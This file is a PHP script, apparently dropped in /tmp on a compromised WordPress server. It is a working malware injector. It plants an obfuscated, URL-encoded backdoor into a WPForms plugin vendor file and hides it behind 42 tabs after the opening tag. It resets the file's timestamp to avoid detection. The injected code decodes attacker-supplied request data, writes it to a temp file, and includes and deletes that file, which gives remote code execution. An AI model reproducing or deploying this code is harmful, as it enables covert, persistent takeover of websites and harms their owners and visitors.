File: //tmp/.requests
<?php $path = '/home/autlimited/public_html/wp-content/plugins/wpforms-lite/vendor_prefixed/square/square/src/Models/UpdateLocationSettingsResponse.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('if%28isset%28%24_REQUEST%5B%22%5Cx64%5Cx61t%22%5D%29%29%7B%20%24ent%20%3D%20%24_REQUEST%5B%22%5Cx64%5Cx61t%22%5D%3B%20%24ent%20%3Dexplode%28%20%27.%27%2C%20%24ent%20%29%3B%20%24resource%3D%27%27%3B%20%24s4%3D%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24sLen%3Dstrlen%28%20%24s4%29%3B%20%24r%3D0%3B%20%24__tmp%3D%24ent%3B%20while%28%20%24v9%3Darray_shift%28%20%24__tmp%29%29%20%7B%20%24chS%3Dord%28%20%24s4%5B%24r%20%25%20%24sLen%5D%29%3B%20%24d%3D%28%20%28%20int%29%24v9%20-%20%24chS%20-%28%20%24r%20%25%2010%29%29%5E60%3B%20%24resource%20.%3D%20chr%28%20%24d%29%3B%20%24r%2B%2B%3B%20%7D%20%24comp%20%3D%20array_filter%28%5Bgetenv%28%22TMP%22%29%2C%20%22/dev/shm%22%2C%20getenv%28%22TEMP%22%29%2C%20session_save_path%28%29%2C%20%22/var/tmp%22%2C%20sys_get_temp_dir%28%29%2C%20%22/tmp%22%2C%20getcwd%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%5D%29%3B%20foreach%20%28%24comp%20as%20%24key%20%3D%3E%20%24value%29%20%7B%20if%20%28%21%21is_dir%28%24value%29%20%26%26%20%21%21is_writable%28%24value%29%29%20%7B%20%24item%20%3D%20implode%28%22/%22%2C%20%5B%24value%2C%20%22.record%22%5D%29%3B%20if%20%28file_put_contents%28%24item%2C%20%24resource%29%29%20%7B%20include%20%24item%3B%20%40unlink%28%24item%29%3B%20exit%3B%20%7D%20%7D%20%7D%20%7D'); if (strlen($content) < 32) { die('!failed!'); } if (strstr($content, $new_code)) { die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) { $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) { $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) { die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { $len = strlen($start); if ($len > strlen($body) || substr($body, 0, $len) !== $start) { continue; } if ($start === '<?') { if (strncmp($body, '<?xml', 5) === 0) { continue; } if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') { continue; } } $rest = substr($body, $len); $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest; $tmp = @tempnam(dirname($path), 't'); if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) { @touch($path, $ft); $check = (string) @file_get_contents($path); if (strstr($check, $new_code)) { die('!success!'); } } if ($tmp !== false && is_file($tmp)) { @unlink($tmp); } } die('!failed!');